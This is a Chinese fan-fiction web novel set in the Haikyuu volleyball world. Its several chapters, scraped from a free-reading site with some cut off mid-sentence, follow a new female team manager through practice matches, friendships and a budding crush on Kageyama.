“怎么了?”大地学长注意到学姐拿出医药箱,也转过来问道。 这下好,排球部所有人都围了上来,十几双眼睛眨巴眨巴看向我。 太热情了,大家…… “没……没事啦!不小心擦破点皮,过两天就结痂了!”我不习惯被这么多人关注着,人下意识往洁子学姐那边缩了缩,想要摆摆手,却被洁子学姐牢牢按住。 “别动。” 我瞬间偃旗息鼓。 “不要着急,稍微迟一点也没事,不要受伤才是最要紧的。”大地学长看了一眼伤口,在一边嘱咐我道。 我老老实实地点头:“我下次会小心的,给学长学姐添麻烦了。” “说什么呢!”菅原学长看起来本来想揉揉我的头,但最终忍住,“来了排球部,都是一家人!” 学姐包扎的技术十分娴熟,一看就是身经百战,大概面前几个正经学长看着靠谱,但内里也不是什么省油的灯。 “洁子学姐,请让我帮您拿药箱!”田中学长看着学姐,一脸深情道。 我震惊地看着田中学长,学姐却习以为常,将手里的药箱收拾好,拒绝了田中学长,又看向我道:“伤口不要碰水,今天就现在一边看着吧,不用翻计分牌了。” “其实……” 学姐以不容拒绝的态度叫来了二年级的学长,替换我给比赛计分。 正式入部的第一天就给学长学姐带来这么大麻烦,我内心实在过意不去,连连道歉,被学长制止:“好了,不用想那么多。” 伤口收拾得差不多,周围围着我的人开始散去,刚才没挤进人群里的日向走过来问我:“李同学,你的伤真的没关系吗?” 我哭笑不得:“真的没关系,只是一点小伤罢了,你们训练的时候,一定受过比我更严重的伤。” 日向摸着下巴开始思考:“这倒是,但是手上受伤就是很痛啊,饭也不能好好吃,而且还会影响打排球……” 他放下手,笑嘻嘻地对我道:“下次还是小心点,不要受伤啦!” “日向!还不过来练球!”影山朝着他喊道。 “知道了!影山你个混蛋吵死了!” 日向嘟嘟囔囔地朝着影山走去,影山在他身后看了我的手一眼,又对上了我的眼睛。 很隐晦,但是我福至心灵地发觉这应该是在问我有没有事。 嗯,高冷男主角的常规套路,长了一张嘴但不会说,天天用眼神和行为传递信息。 哎呀,只是个小伤而已,排球部的人,真是喜欢小题大做呀。 虽然这么想着,但我还是忍不住弯了弯嘴角,冲着影山挥了挥手。 没事哦。 ----------- “阿月,真的被你说中了诶,大家都发现李同学受伤了……不去看看吗,阿月?”山口看着排球部的人围在李千树周围,甚至连一向事不关己的影山都远远朝着那边看,忍不住问道。 “那么多人,凑上去做什么?”月岛看了人群一眼,继续活动身体,“吵死了,山口,先做好热身。” “对不起,阿月。”山口笑了笑,和月岛一起做热身运动了。 月岛看了人堆一眼,又看了一眼站在人群外的影山和日向。 他们因为刚才在练习,没能第一时间凑到李千树身边,日向脸上的焦急显然比影山多,但是挺难得的是,连影山这个眼里一向只有排球的笨蛋,拿着排球的动作都显出了几分漫不经心。 她似乎比国中的时候,更擅长和人交际了。 月岛之前见过李千树一面。 他去看完县预选的决赛,因为看台位置挑得不好,恰好和出体育馆的大部队撞上。 前门人太多了,月岛和山口 7. 普鱼 《[排球]影山同学请和我告白》全本免费阅读 拿下练习赛对影山来说不是什么困难的事情,我从没怀疑这一点。 但是他能和日向打出那个惊人的怪人速攻还是令我好好震惊了一下。 闭上我吃惊的嘴巴,看见排球部的大家都一副被雷劈了的样子,我心里安心了一些。 还好,不是我少见多怪。 赢了比赛,日向兴冲冲要过来和我击掌,却被菅原学长抓住了命运的后衣领:“她手上还有伤,你这是要疼死她?” “对哦……”日向摸摸自己的后脑勺,尴尬地笑笑,然后手舞足蹈地跟我激动地描述,“刚才那个球‘唰’就飞来了,然后我‘啪’地就打中了……” “确实很厉害。”我弯了弯眼睛夸奖他。 刚才还在叽叽喳喳的日向一下子安静下来,张着嘴像是宕了机,不知道在想什么。 “日向!”影山在后面叫他,“还不趁着有手感,过来多练几个球!” “知道了!”日向从发呆中回过神来,朝着影山走去。 我和日向摆摆手,让他去练球。 “对不起阿月,要是我刚才发球没有失误……”走到门口的时候,我听见山口在小心翼翼地跟月岛道歉。 这家伙性格这么恶劣,不会是因为山口失误了在迁怒吧? 山口可是他的好朋友啊! 我心头正义感油然而生,正准备朝那边走,听见月岛对山口说:“那是王者,输了也很正常,和你发球没关系。” 好怪。 好像在安慰山口。 但是听着又有点怪。 我还在别扭地思考月岛这句话到底是出于一个什么初心,山口已经被安慰好了,笑嘻嘻地继续和月岛搭话,并且发现了在身后小心偷听的我。 月岛看见我,挑了挑眉:“如你所愿,他赢了。” “这不叫如我所愿,”我纠正月岛的话,“影山同学很厉害,会赢也是很正常的事。” 月岛不爽地扭过头。 “但是月岛同学也很厉害啊,个子这么高,不是先天的优势吗?中间虽然没能拦下日向和影山的怪人速攻,但是在拦网意识上的认识却很先进。虽然只是3v3,但是能在一瞬间分析出球场上瞬息万变的信息,也很厉害啊!” 我回忆着刚才的比赛,基于我自己这么两年对排球比赛的了解,继续托着下巴分析:“能看出来从小到大一直在打球,对排球的球感很不错,如果……” 月岛像是忍无可忍打断了我的话:“好啰嗦,你把这些话留给王者和小不点说吧。” 我不满地看了他一眼,搞什么啊,我这是在夸他诶! 月岛个子很高,在他面前生气十分不值当,因为我比他矮了一个头,再怎么生气也没有什么气场。 不过也得益于我个子比他小一些,这会儿看他,能看见他耳后有点泛着粉。 我恍然大悟。 原来是个傲娇啊! 那各种各样的事情都可以理解了,傲娇嘛,性格恶劣一点也是可以接受的! ---------- “笨蛋,你在发什么呆呢!”影山忍无可忍地把球拍到日向脑袋上,骂道。 “啊好痛……”不过虽然被球打了,日向也没有生气,“刚才李同学夸我打球很厉害诶,她没有夸过你吧?” 他得意地双手一叉腰:“我赢了!” 影山低头想了想,突然抬起头来,居高临下地看着日向,露出一个有些诡异的笑容来。 “谁说她没夸我?她夸我是pu……bu……普鱼!”影山扬起下巴,“昨天晚上就夸了,她先夸的我,所以是我赢了。” “普鱼是什么意思?” “我怎么会知道?” “那根本不是夸人的话,是你太自恋吧笨蛋影山?” “你才笨蛋!蠢货!” “笨蛋和蠢货不是一个意思吗?怎么还分开两遍骂!” “蠢货蠢货蠢货!” 菅原远远看着抱着球龇牙咧嘴的两人,忍不住扶额:“什么普鱼,李桑怎么会拿这个夸人……是璞玉吧!那俩孩子没事吧!” “别管他们了,菅原学长。”田中一脸无语地转过头。 ---------- 最后还是洁子学姐打断了这场没有意义的吵架。 “这就是乌野排球部的队服吧?”日向立刻就将那件黑色的外套套在了身上,“也太帅了!” 清水学姐担心我手伤了不方便穿衣服,还特意过来帮我扯了扯袖子,我再次感到受宠若惊,连忙穿好衣服,冲她道谢。 可恶,再这么被偏爱下去,感觉自己要恃宠而骄了啊! “大家!安排好了!”门外传来叫喊声,一个穿着绿色运动服的身影慌慌张张地跑进来,也不知道是一路多拼命跑来的,领带跑飞了,外套跑得挂在身上,人显得狼狈极了。 “练习赛!和县内四强!青叶城西高中!” 青叶城西,即便我对宫城的学校不太熟悉,也听过这所学校响当当的大名。 说是四强,但是说它是县内仅次于白鸟泽的学校一点也不为过,年年止步于决赛,以亚军的成绩遗憾与全国大赛的名额失之交臂。 而且北川第一的学生,不少都升学去了青叶城西。 也包括……影山的队友吧。 初中最后一场比赛,因为影山托出的球太过刁难,对比赛又太过独裁,他“王者”的名号被坐实,早已与他离心的队友也不愿再扣他托出去的球。 当球的去处空无一人后,影山被换下场,眼睁睁看着北一输了那场比赛。 他不愿意别人叫他王者,托球愈发小心翼翼,更因为月岛提出那场比赛而险些大打出手,显然是因为那场比赛对他的伤害实在太深。 他会害怕吗? 我看向影山。 我预想中会在他脸上看见的纠结、沉痛的情绪连一丝一毫都寻不见,取而代之的是兴奋。 像是寂寞的勇者在丛林里探险,久违地遇到了可以与自己匹敌的强敌那样的兴奋。 影山和日向的脸上明晃晃地写着几个大字: 可以和全县四强的队伍打比赛了! 但是乌野这几年可没有什么战绩,青城怎么想着要和乌野打练习赛呢? 这样的疑问果然不止我有,大地学长也问了出 8. 暗恋 《[排球]影山同学请和我告白》全本免费阅读 “戈薇,听说你前两天发烧了,病重不能上学,已经好了吗?” 我看着同桌背着一个重重的书包进门,满脸愁苦地把书包往桌子上一放,接着便趴在桌子上唉声叹气起来。 “没事了……”戈薇抬头,欲言又止地看了我一眼,重重叹了口气,还是又趴回桌子上。 我想了想,把这几日上课的笔记都拿出来递给她:“这是这几日上课的重点,我都整理好了,你可以看一看,如果有什么不懂的,问我就行。” 戈薇看着我的目光瞬间湿润起来:“呜呜呜千树,你人真是太好了!现代社会真是太好了呜呜呜呜……” 现代社会? 戈薇这次发烧是不是病得很严重啊? 如果没有先进的现代医学技术就救不回来的那种? 我心里暗暗吃惊,但面上不露分毫,抱着戈薇的动作愈发温柔起来:“好了,没事了,以后要注意身体,不要再生病了。” “千树,”戈薇眼泪汪汪地看着我,“以后还能和你借笔记吗?” “当然!” “呜呜呜呜呜我最喜欢千树了!” 戈薇的前桌也无精打采地走了进来,看见我们恹恹地打了招呼:“早安。” “千代看起来怎么没什么精神?”我的前桌仁花问道。 千代和戈薇动作一致地将书包放在桌子上,愁眉苦脸地趴了下去:“我好像生病了。” ?! 刚刚经历过戈薇请假(虽然戈薇的表情看上去有些一言难尽)的我们三人还是如临大敌,仁花更是从位置上“噌”地站了起来,用手贴上千代的额头:“生病了怎么还来上学?万一病情加重了怎么办?听说有人因为发烧太严重导致脑子烧坏了……啊对不起!我没有说你会因为发烧而变笨的意思!” “仁花……仁花!”仁花深鞠躬把头埋到桌子底下,我只好拍拍她的背,“你别紧张,我看小千代情况还好,你先起来说话。” 千代脸色虽然有点泛红,但是眼睛却很澄澈,不像是生病时候晕晕乎乎的状态。 不如说是有些幸福的表情…… 在我们的一再追问下,千代终于吞吞吐吐地说了实情。 前几日开学典礼,她因为迟到,校门已经关了,她只好爬墙进。 可是千代是一个比我个头还要小一些的萌系甜妹,翻过学校那栅栏对她而言实在难度有点大。 这时候,一个高大的男生英勇地出现了。 他头顶纱布,眼圈青黑,手缠绷带…… “等一下,”我铁青着脸打断千代,“你说他长啥样?” 别的意中人身披金甲圣衣、脚踏七彩祥云,你的意中人贴着纱布缠着绷带是怎么回事? “他头顶纱布,眼圈青黑,手缠绷带……”千代幸福地说道,“然后把我抱上了学校的围栏。” 她模仿着当时男生抱她的动作,把手中的笔袋高高举起,眼睛发出灿烂的光芒。 不是,等一下,这个动作,怎么看怎么像在抱一只猫…… “不会是……不良少年吧……”仁花捂着嘴,哆哆嗦嗦地问,“眼圈青黑还贴着纱布和绷带,果然是因为熬夜帮派火拼,所以错过了开学典礼……” “如果小千代和他在一起……”仁花晃了晃,眼睛一翻,感觉人都快要晕过去了。 虽然我们几个相处的时间还不算很长,但是对于仁花这一贯把一切往最坏的情况打算的习惯我们都已经相当习惯了,我拍了拍仁花的肩:“醒醒,还没有那么糟糕。” “对不起!我又自顾自地就……”仁花诚恳道歉。 “没事啦,因为野崎君人肯定很好啊!”千代眯了眯眼睛,笑得像一块甜甜的小蛋糕,“如果是那种凶神恶煞的不良少年,肯定不会帮我进学校的呀!” “野崎?原来你连名字都打听到了啊?”戈薇好奇地问,“几班的,长什么样呀?” 千代脸红了红,从桌洞里掏出一本画册:“是二班的,我画给你们看……” 千代画画技术很不错,之前拿了不少奖,一进高中就入了美术社,听说得到了学长学姐的一致好评。 我们三人都好奇地凑上去看,她学了好些年的素描,基本功十分扎实,手上的铅笔唰唰几下,三两笔就勾勒出了一个惟妙惟肖的人形。 “怎么样,是不是很帅!”千代很快就画完了,将画本转过来,面朝我们,满脸激动地问。 戈薇看向我,我看向仁花,仁花没人看,只好拍手道:“……哇,千代的眼光真不错呢,是一个大帅哥呀……” 千代似乎还想说什么关于野崎君的事,但好在预备铃在此时敲响,老师走了进来。不用昧着良心夸野崎是大池面,仁花显然长舒了一口气,放松不少。 “那你打算和野崎君表白吗?”我一边拿出抽屉里的书,一边小声问千代。 千代脸红了红,也小声回我道:“再等一等吧,我还没有勇气去表白。” 抽屉里梦野老师的漫画不小心随着我的动作滑落出来掉在地上,翻开的那页正好是我觉得男主最帅、也最像影山的那一页。 我和小千代熟识,恰巧是因为我们二人都是梦野老师的粉丝。我在看漫画的时候被她发现,这才慢慢熟络起来。 我对比了一下漫画男主和小千代刚才画的野崎肖像,沉痛地把漫画放进桌洞里。 野崎君一定还有什么我不知道的优点。 戈薇本来兴致勃勃地要去弓道部,但是自从生病之后似乎劲头小了很多,可能是因为生病损耗了精气神,匆匆忙忙收拾了东西,社团活动请假先回家。 仁花没有参加社团,千代要去美术社再画一会儿,听说学校最近有几张海报被拜托给了千代,她还问了问仁花关于排版设计的问题。 我则收拾好书包,朝着第二体育馆走去。 那几个运动系少年总是来得很快,明明我也是一下课就收拾好书包来了体育馆,却远远就听见里面已经传来了排球撞击地面和“好球”的叫喊声了。 以及混杂在一片排球声里时不时惊破天际的“日向boke”。 我习以为常。 运动社团经理的活其实并不轻松,除了要记录部员们今天的各项训练数据之外,还要负责打水、清洗毛巾等各项后勤打杂工作。 虽然有些工作不熟悉,但我好在我上手很快,甚至闲下来的时间还有时间 9. 沉稳的类型 《[排球]影山同学请和我告白》全本免费阅读 日向吐在田中学长的裤子上的时候,我有一种既在意料之外、又在情理之中的感觉。 我不忍心地别过眼。 这个时候不看他,就是对他最大的仁慈了。 难怪北一有这么多学生都去了青城,校园庄重大气,绿化很好,四处透露着青春洋溢的校园气息。作为排球强豪,体育馆更是设施一应俱全,不像乌野,破破烂烂的休息室还要和登山部共用,还不知道是何年何月的建筑风格。 一个刺猬头的男生穿着青城训练服走了出来,将我们一行人迎了进去。我好奇地打量了他一番,眉目刚毅,眼神坚定,嘴角礼节性的笑把脸上紧绷的表情稍微缓和了一些,看起来没那么凶。 虽然也是池面,但是…… 我正想着,他注意到我的眼神,转过头望了我一眼,眼里似乎有些疑惑,点点头算是打招呼。 意识到我的行为有些失礼,我连忙弯了弯腰回礼。 再回过头去看影山,他也只是简单朝着那个男生点了点头,叫了一声学长好,之后便再没有别的表情。 眼神太平静了,这大概不是及川彻吧。 走到体育馆附近,那个学长看了眼手机,皱了皱眉,似乎临时有什么事,给我们指了路便匆匆离开了。 再往前走,就听见了一些不那么友好的言论。 “影山可是彻头彻尾的个人主义者。” “乌野从前还值得一提,现在只有那个美女经理比较惹人注目,还有个一看就品行不端的家伙,留着个和尚头,一脸蠢相。” 我在田中前辈的后脑勺上看见三个“井”字。 “要是太瞧不起我们乌野的话,”田中学长的语气十分可怕,“可是会被吃得连骨头渣都不剩的哦!” 青城的两位选手寂静了。 我虽然跟在田中前辈身后,看不见他的脸,但是用脚趾头想都能猜到他脸上是个什么表情。 还没等我拉住田中学长,性格恶劣的月岛嗤笑一声:“瞧瞧,给我们排球界精英吓成什么样子了,多可怜啊。” “月岛君!不要说了!”虽然内心很赞同月岛的添油加醋煽风点火,但是我表面上还是要拉一拉架,“大地学长跟在后面呢!” 我一手拉住月岛的背包带,一手拉住田中学长的背包带,表面上在拉架,实际上也知道根本不可能打起来,放任两人继续和对方打嘴仗,一边还假惺惺地:“哎呀,不要吵啦……” “你们两个!我才一眼没看着!”大地学长带着熊熊火焰赶了过来,压着田中的脑袋和对方道歉,一边走一边数落,“田中你怎么回事?还要学妹拉着你?你好意思吗……” 大地学长来了,这架就肯定吵不下去了。我颇为惋惜地松开背包带,拍了拍手,扭头看向月岛:“走吧?” 他没回答我,瞥了我一眼,在与我擦身而过的时候小声说了一句:“你还挺坏心思的。” “谬赞。”我满意地点头。 “李千树?”我和月岛正转身准备走,身后却有人叫出我的名字。 藠头男生一脸诧异地看着我,因为发型太过独特,所以我对他还有印象,是影山以前的队友。 但是我不知道他的名字,所以只是点点头:“有什么事吗?” “你怎么也……”他的目光投向我身后的影山,变得复杂起来,“也去了乌野?” “因为乌野给我发了录取通知书。”我礼貌地回答道。 我以前和影山都没什么交集,何况是影山的队友。他似乎也意识到自己叫得有点突兀,挠了挠后脑勺下意识自我介绍:“我是金田一勇太郎,我们以前都是北川第一的……” “我知道,你好。”我朝他伸出了手,礼貌地握了握,“你知道我的名字,我就不自我介绍了。” 他一边浅色头发的男生见这架势,也忍不住伸出手:“你好,我……” “够了吧?还要和我们的经理聊多久?一会儿要上场打比赛的,是我们又不是她?”月岛抓住我的背包,把我往身边拽了拽,推着我催着走,影山跟在身后,并没有要和他们打招呼的意思。 “好久不见啊,王者,”那藠头男生不死心地叫道,“让我们见识见识你的独裁吧。” 马上就要比赛了,当着乌野这么多人面接着挑衅影山,是觉得影山在乌野照样被排挤还是当我们乌野没人? 我差点没忍住转身回去,却被月岛抓住了背包带。他人瞧着瘦瘦高高的,劲儿还挺大,走了两步走不出去,我只好抬起头和他干瞪眼。 月岛“嗤”地笑了一声,却没松手。 这家伙,该不是在报我刚才抓住他书包带的仇吧?! “哦。”影山不像被月岛刺激的那次,而是平静地接过话茬,面不改色地走了过去。 太平静了,平静得我有些诧异。 难道是上次练习赛被月岛刺激狠了,所以已经对这个称号免疫了? 影山从我身边过的时候看了我一眼,月岛到这时才放开手。我看着影山的背影,和月岛并排走着,忍不住小声问:“你之前是故意刺激他的吗?这样下次再有别人这么叫他,他就习惯,不会生气了?” 想想好有道理啊,上次练习赛,月岛叫他王者的时候大地学长都没有制止,而且是在被月岛那样说了以后,影山和日向才被刺激出了那个怪人速攻! “不好意思,我听不懂。”月岛毫不留情地回道。 我撇撇嘴扭回头。 傲娇嘛,我懂。 青城没有经理,但是强校的预备队员很多,并不需要经理来分担额外的工作,所以我们和青城的人简单交接了工作,便在一边做起准备来。 我一边帮忙捡球,一边注意着场里青城的队员,没有帅得过分的。 是不是那俩姑娘眼神不好…… 排球馆的大门打开,有个人影捂着肚子哆哆嗦嗦地进来。我认出那一头橘色的头发,忍不住上前问道:“你没事吧?” “没……没事!”日向光说这句话都险些咬了舌头。 “一个练习赛而已,不会发生什么可怕的事情的,你不用这么紧张。”我安慰日向。 “真的吗?”日向看着我,颤颤巍巍地问,“就算我出现失误也没关系吗?” “当然没关系啊,失误又能怎么样?”我看着日向逐渐放松下来的表情,随口道,“你还能把球砸影山君脑袋上吗?” “……” 他又变紧张了。 “不是吧?”我错愕,“我随口说的啊,你……不至于吧!” “……” 他的腿好像又开始抖了。 “没事没事,就算你砸他脑袋上,他也不会怎么样的嘛!”我苍白无力地安慰道。 “真的吗?”日向的脸色灰白,眼神却闪闪发亮地看着我。 面对着这样信任的眼神,我实在没有了信口胡诌的勇气,移开了眼睛:“大……大概吧。” 比赛正式开始。 原来刚才在体育馆后,想要和我握手的浅发轻浮男生就是青城的二传,倒不是说他很弱,只是他组织的进攻中规中矩,没有什么很亮眼的地方。 与影山相比,不论是技术还是球感,都要差远了。< 10. 香味 《[排球]影山同学请和我告白》全本免费阅读 一记强力发球直直冲我们这边飞来,学姐手疾眼快把我拉到一边,及川学长还没反应过来,就被那颗球直直打中了后脑勺。 “垃圾川还不给我滚过来!” “很痛诶小岩!万一把及川大人打伤了怎么办!”及川学长捂着后脑勺一脸懊恼地看向怒火中烧的刺猬头学长,又转回来笑眯眯地问我,“你……” “人渣川!” “知道了!怎么还升级了!”及川学长转头忍无可忍地喊了一句,却还是老老实实走到一边去热身,没再说什么。 --------- 比赛还没开始,影山站在场边,看向另一侧角落里的计分牌。 在及川凑上去和清水学姐与李千树搭话的时候,田中前辈已经撸着袖子想要上去揍人了,还好被大地学长死死按住,才避免了一场血战。 影山拿着手里的球,思绪却史无前例地飞了出去,没有集中在眼前那颗小小的三色球上。 李千树刚才给他检查头上伤口的时候,靠得有些近。 影山不知道这个年纪的女生是不是有喷香水的习惯,但是他在家里不小心打碎姐姐美羽的香水的时候,差点没能见到第二天的太阳。 那瓶小巧的玻璃瓶摔碎在地上,四分五裂,强烈的花香味和果香味从地板上升腾而起,直直冲进他的鼻腔,呛得他泪眼朦胧地咳了好一阵,最终捂着鼻子皱着眉,质疑姐姐为什么要买这种杀人利器。 然后本来就摔碎香水的他罪加一等。 “香水只喷一点点,留下的是余香缭绕的氛围感,臭小子!”美羽心疼地看着地上的玻璃碎片,不满地踹了踹正在地上老老实实收拾残局的影山,“算了,和你这种脑子里只有排球的小子说了也不懂,等你哪天栽了你就知道了。” 美羽就是从高中开始谈恋爱之后,留长了头发又开始学习化妆喷香水。 所以刚才闻到的是她的香水味也不奇怪。 不过李千树身上的荔枝味很淡,也很自然,不像上次他打破香水瓶的时候铺天盖地的浓郁香味,像是…… 影山苦思冥想,想出了一个还算恰当的比喻。 姐姐上次打翻的香水,像是整个寿司都掉进了芥末酱油里,但是李千树身上的味道,感觉蘸得刚刚好。 哨声吹响,第二局比赛将要开始。 影山心满意足地将脑海里的想法通通抛之脑后,专心致志地向着对方的场地发了一个威力十足的球。 嗯,今天的手感也很不错。 ------- 及川学长在第三局的乌野赛点上了场,虽然最后乌野还是赢下了这场练习赛,气氛却算不上轻松,大家都知道,如果及川学长从第一局就上场,还不知道结果会是如何。 不过我总归是高兴的,至少最后影山和日向的怪人快攻十分奏效,等着看影山笑话的青城人想必也大跌眼镜,没想到他居然能和日向配合到这种地步吧。 就算我承认,乌野确实被及川学长最后那几个发球给唬住了,可我们的怪人快攻,也给他们狠狠一击,这次顶多算一半一半! 而且及川学长不但轻浮,而且幼稚,居然特意等在青城门口,等着给影山放狠话。 我四下转头看了看,没看到刺猬头学长的踪迹,叹了口气。 岩泉学长不在,那大概确实没人能够制止他了。 “还有哦,小千树!”也不知道及川学长从哪里听来了我的名字,大概是影山的前队友告诉他的。 “及川学长,请不要这样叫我。”我无奈地道。 “有什么关系嘛,你也叫我及川大人就好啦!”及川学长笑眯眯地看着我,“下次要给我加油哦!” “及川学长,”我纠正他,“我是乌野的经理,是不会给青城加油的。” “什么嘛,真令人伤心,及川大人可是最厉害的二传手哦!” “及川学长,我还是觉得影山君比较厉害。”我老老实实地道。 及川学长一副被打击到了的模样,一双漂亮的眼睛瞪得滴溜圆,把我上上下下打量了一番:“小千树,眼睛不好要去看医生的,及川大人认识特别厉害的眼科医生,你要不要去看一看?” 田中前辈在一边已经把一双眼睛瞪了很久,背后的怒火几乎要染红蓝天,要不是大地学长在身后看着,只怕下一秒就要窜出来把及川学长的头拧下来了。 为了影山君最敬爱的学长的生命安全,我还是客客气气地把及川给劝走了。 “好了,我们也该回去了,还要复盘今天的练习赛呢。”大地学长拍拍手,招呼我们往回走。 我和清水学姐并排走着,田中前辈想来提清水学姐提东西,却被学姐拒绝了。 毕竟重的包裹别的学长都已经提走了,我们手里不过剩下一点需要回去清洗的毛巾。 影山和日向在我们身后复盘: “刚才那个球你应该再快一点,应该‘啪’一下接住,你知道吗,‘啪’一下!” “你还好意思说我?你今天第一局丢了多少分?要我帮你数数吗?” “混蛋影山!要不是刚才你的前队友吓唬我,我才不会那么紧张!” “哈?” 月岛瞥了两人一眼,冷笑一声:“五十步笑百步。” “哈?”两人一起转头,恶狠狠地盯着月岛。 在几人的口角争斗上升到肢体冲突以前,我慢了几步插到几人中间,忍无可忍地举起手:“都不要说了!” 可怜我一个向来不爱说话的人,在排球部一日日当和事佬。我搜刮着肚子里为数不多的夸赞语句,先转头拍了拍月岛的肩:“今天表现很好啊!拦网很冷静,面对青城这样的对手还能发挥出平时练习的水平,这是相当强的心理素质!” 月岛不自在地扭过头:“……没有,青城的正二传没有上场罢了。” 我笑眯眯地看着他,身边傲娇不多,没什么实践经验,但是漫画小说里的傲娇一向是一夸就翘尾巴。 纸上得来终觉浅,绝知此事还要看看在月岛身上实践得怎么样。 这家伙果然默默地摘下了挂脖耳机,遮住了自己开始泛红的耳朵尖。 再接再厉,我又看向站在月岛 11. 饼干 《[排球]影山同学请和我告白》全本免费阅读 戈薇又请假了,听说是白血病。 我忧心忡忡地看着身边空空荡荡的课桌,不可避免地为我的同桌开始担心起来。 难怪上次戈薇那么难过,明明大好人生还没开始,却得了这种绝症,我都能想象到戈薇该有多么绝望。 我和仁花千代三人决定放学以后去戈薇家里看望看望他们。 今天正好有家政课,上课的内容是漫画里万年不变的曲奇烘焙。 国内的学校很少会开这种实践类的课程,国中的时候倒是有家政课,不过我也都是自己做自己吃。 虽然偶尔会分给表哥和小樱姐他们尝一尝,我也经常不太好意思分享。因为表哥和知世姐都是烘焙料理的高手,我自从来到日本之后不知道吃了他们投喂的多少好吃的,我那点寒碜的饼干,实在上不了台面。 不过现在,倒是有了可以送饼干的对象。排球部那一群半大小伙子每天一打排球就饿得嗷嗷叫唤,一天要吃好几顿,送点饼干倒是能让他们垫垫肚子。 何况去戈薇家看望总也不好空着手去,带一包自己烤制的小饼干刚刚好。 考虑到戈薇是病号,对饮食的要求应该比较严格,排球部又要控制糖油的摄入量,我特意减少了糖的用量,加了点水果干,让饼干看上去更健康一点。 “千树……你为什么要烤这么多饼干……?”千代看着我面前十几袋用巨大的袋子包装好的饼干,咽了口唾沫,弱弱地问道。 “要送人嘛。”我麻利地包好面前的饼干,“那群男生太能吃了,反正做都做了,多送点。” 我又拿出一个精致一点的小袋子:“不过不会给戈薇送那么多的,这些东西她应该不能吃太多,心意到了就好,若有什么需要的,改日再给她送过去就好。” “和千树做朋友真好啊,什么都能考虑到。”千代看着我在那个送给戈薇的礼品袋上系上精致的蝴蝶结,忍不住感慨道。 我从桌子上抓起一块饼干,笑眯眯地塞进千代嘴里:“你的饼干包得这么仔细,还用了粉色的爱心包装纸,又是送给谁的呀?” 千代脸涨得通红,一言不发地咀嚼着嘴里的饼干,眼神四下里乱瞟。 “千代还没和野崎君表白吗?”仁花把自己烤的饼干从烤箱里拿出来,小心翼翼地放在桌子上问道。 千代嚼了有一个世纪那么久,饼干都嚼没味儿了,终于没有了不回答的道理:“还没有……” 她的耳朵红红的,手指徒劳地把手里饼干包装袋上的蝴蝶结解开又系上。 因为千代上次的速写画得格外传神,所以没几天我就在走廊里看见了千代的暗恋对象。 个子很高,身材似乎也还可以,能看见手臂上清晰的肌肉线条,听说以前是打篮球的。 我在心里默默给野崎君加上一分,但还是觉得他配不上可爱天真善良的小千代。 “我怕……我怕他会拒绝我……”千代的脑袋垂得很低,“而且他现在还不认识我……” 少女为何如此没有自信! 我拍拍她的肩,坚定地说:“放心,没有人可以拒绝千代。” 放学后,我抱着那一大堆饼干,摇摇晃晃地朝着排球部走去,打算给大家分饼干,顺便和队长请假去看戈薇。 因为饼干太多,垒起来都挡住了我的眼睛,所以我只能侧着头,从侧边小心翼翼地看着路,但这有一个问题,就是我看不见前面的人。 “小心!” 我摇摇晃晃地往前走的时候,听见有人朝我这么喊了一声。还没等我反应过来,胳膊就被人拉住了,两包饼干从我面前落下,露出了我被遮挡的视线。 原来差点撞到人了。 我转头,拉住我的人是影山。 他已经在半空中稳稳地接住了滑落的两包饼干,有点惊讶地问:“怎么这么多?” “今天家政课,我就给大家做了饼干。”我看见他,费力地开始在那一堆饼干里掏啊掏,影山看见我的动作,自觉地将我手上的饼干接过去了一些,等着我的后文。 我终于在那堆饼干里找到了那包系着蓝色丝带的,递给影山:“这是给你的!” “谢谢。”影山道了谢,“我可以打开吃吗?” 我点点头,影山便打开包装,捡了一块饼干放进嘴里。 “怎么样?”我紧张地问道。 “很好吃,”影山惊讶地看了一眼手里的饼干,“而且没那么甜。” “我怕你们不能吃太多糖,所以把糖的用量减半了,这样吃上去清爽一点,也不怕吃太多糖分。”我开心地抱着那堆饼干,“你们运动量大,总是饿,可以吃饼干垫垫肚子。” “谢谢。”影山真诚地道了谢。 我们两人往排球部走去。 给每个人的丝带颜色都不一样,是因为给影山的那包里,被我别有用心地加了一块爱心型的饼干进去,可如果只给影山的包装做特殊标记,就显得太特别了。 所以我给每个人的包装都不一样,却只有我自己心里知道,影山那包是特别的。 他一只手环抱着饼干,另一只手还端着我送给他的那包,一路走一路吃着。我则怀着隐秘的欣喜,不动声色地和他并肩走着。 影山吃了几块,停下来感慨道:“我还以为李同学做的饼干会是酸的。” 我:? “这是为……为什么?”我没明白这个弯是怎么转过来的。 “因为上次李同学给我的糖很酸,我以为李同学喜欢吃酸的。”影山诚实道。 我哭笑不得:“我是爱吃酸的,可是连饼干都做酸的算怎么回事,酸溜溜的饼干能吃吗?” 影山大概也觉得自己这话奇怪,没再说话了。 可还没走到体育馆门口,就听见馆里传来了相当喧闹的声音。虽然吵吵闹闹也算是乌野排球部的常态,不过今天吵闹的重头戏影山还没到馆里,日向一个巴掌拍不响才对,怎么还能有这么大的声音? 我抱着那堆饼干,没法脱鞋,只好先到门口,清了清嗓:“学长——” 排球馆里除了日向和田中学长,还有一个比日向还要矮一些的男生正在暴跳如雷,身后印着“一骑当千”四个大字,听见我的声音,转回头来,额间的一缕头发染了黄色。 “龙龙龙龙龙龙——”那男生突然语无伦次地激动起来,看向田中学长。 田中学长一脸严肃地说:“是啊,阿谷。” 没听懂他们在打什么哑谜,我再次开了口:“不好意思,能帮我拿一下这些饼干吗,我去换了室内鞋过来。” “乐意效劳!”被田中学长叫做“阿谷”的男生十分绅士地走了过来,接走了我手里的饼干。 “谢谢学长,我是一年级的新任经理,我叫李千树。”我琢磨了一下学长的身高,结合了之前大地学长的话,“你就是乌野的自由人,西谷前辈吧?” 西谷前辈没说是也没说不是,如同宕机一般站在原地了。 影山已经单手换完了鞋,站在门口,好心地摇了摇他:“学长,你没事吧?” “没事没事,李桑去换鞋吧。”田中学长见状连忙上前,把西谷学长拉到一边。 我纳闷地走到一边,一边换鞋一边听见馆里传来了一些奇怪的对话: “龙,这是真的吗!” “是真的,阿谷!” “乌野排球部,崛起了!” “是啊,阿谷!” “龙,从今天开始,乌野排球部就由我们守护!不论是洁子学姐,还是千树学妹,决不能让那些臭男人靠近她们分毫!” “是!阿谷!” 12. 交朋友 《[排球]影山同学请和我告白》全本免费阅读 “日向君接球的技术有长进,接球的成功率比原先比大概高了10%左右,和影山的快攻也变得更有默契了,就是接球的时候还是经常用脸接球,发球的失误率也比较高,注意在之后要好好改善。”我看着我的笔记对日向道。 